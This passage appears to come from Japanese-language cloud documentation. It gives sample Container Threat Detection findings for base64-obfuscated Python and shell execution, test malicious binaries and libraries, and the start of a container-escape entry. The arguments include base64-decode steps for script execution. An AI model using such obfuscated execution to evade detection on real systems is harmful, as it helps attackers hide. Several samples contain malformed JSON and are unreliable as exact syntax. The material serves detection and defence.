      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_base64_elf_file_cmdline"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0005/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

防御回避: Base64 でエンコードされた Python スクリプトの実行

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Defense Evasion: Base64 Encoded Python Script Executed",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "DEFENSE_EVASION",
      "primaryTechniques": [
        "OBFUSCATED_FILES_OR_INFO",
      ],
      "additionalTactics": [
        "EXECUTION"
      ],
      "additionalTechniques": [
        "DEOBFUSCATE_DECODE_FILES_OR_INFO"
        "COMMAND_AND_SCRIPTING_INTERPRETER",
        "UNIX_SHELL"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/usr/bin/base64\"",
          "size": "39096",
          "sha256": "a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84",
          "hashedSize": "39096",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"base64\"",
          "\"-d\"",
          "\"cHl0aG9uIC1j\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"CONTAINER_NAME\""
          },
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "MEDIUM",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_base64_encoded_python_script_executed"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0005/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

防御回避: Base64 でエンコードされたシェル スクリプトの実行

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Defense Evasion: Base64 Encoded Shell Script Executed",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "DEFENSE_EVASION",
      "primaryTechniques": [
        "DATA_ENCODING",
        "STANDARD_ENCODING"
      ],
      "additionalTactics": [
        "COMMAND_AND_CONTROL",
        "EXECUTION"
      ],
      "additionalTechniques": [
        "COMMAND_AND_SCRIPTING_INTERPRETER",
        "UNIX_SHELL",
        "OBFUSCATED_FILES_OR_INFO",
        "DEOBFUSCATE_DECODE_FILES_OR_INFO"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/usr/bin/base64\"",
          "size": "39096",
          "sha256": "a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84",
          "hashedSize": "39096",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"base64\"",
          "\"-d\"",
          "\"IyEvYmluL2Jhc2gK\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"CONTAINER_NAME\""
          },
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "MEDIUM",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_base64_encoded_shell_script_executed"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0005/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/a51595201def5bde3c47d68c8e8dda31f4e424293f2a5eefb00e47f2db0c2d84/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

実行: 追加された悪意のあるバイナリの実行

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Added Malicious Binary Executed",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T19:51:22.538Z",
    "database": {},
    "eventTime": "2023-11-13T19:51:22.383Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "NATIVE_API"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/tmp/malicious-binary-dd922bc4ee3b49fd-should-trigger\"",
          "size": "68",
          "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
          "hashedSize": "68",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/tmp/malicious-binary-dd922bc4ee3b49fd-should-trigger\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.68.2.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-added-test-malicious-binary\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.68.2.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.68.2.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.68.2.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "7",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "added_malicious_binary_executed"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699905066",
            "nanos": 618571329
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1106/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T19:51:06.618571329Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
  

実行: 追加された悪意のあるライブラリが読み込まれた

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Added Malicious Library Loaded",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T21:40:14.340Z",
    "database": {},
    "eventTime": "2023-11-13T21:40:14.209Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "SHARED_MODULES"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/malicious_files/drop_mal_lib\"",
          "size": "5005064",
          "sha256": "fe2e70de9f77047d3bf5debe3135811300c9c69b937b7fd3e2ca8451a942d5fb",
          "hashedSize": "5005064",
          "partiallyHashed": false
        },
        "libraries": [
          {
            "path": "\"/tmp/added-malicious-library-299fd066380ce690-should-trigger\"",
            "size": "68",
            "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
            "hashedSize": "68",
            "partiallyHashed": false
          }
        ],
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/malicious_files/drop_mal_lib\"",
          "\"/tmp/added-malicious-library-299fd066380ce690-should-trigger\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.108.174.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-added-malicious-library\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.108.174.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.108.174.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.108.174.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "8",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "added_malicious_library_loaded"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699911603",
            "nanos": 535268047
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1129/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:40:03.535268047Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
  

実行: 組み込まれた悪意のあるバイナリが実行された

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Built in Malicious Binary Executed",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T21:38:57.405Z",
    "database": {},
    "eventTime": "2023-11-13T21:38:57.250Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "NATIVE_API"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/malicious_files/eicar_testing_file\"",
          "size": "68",
          "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
          "hashedSize": "68",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/malicious_files/eicar_testing_file\"",
          "\"built-in-malicious-binary-818358caa95b6d42\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-built-in-malicious-binary\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "7",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "built_in_malicious_binary_executed"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699911519",
            "nanos": 603253608
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1106/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.603253608Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
  

実行: コンテナ エスケープ

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
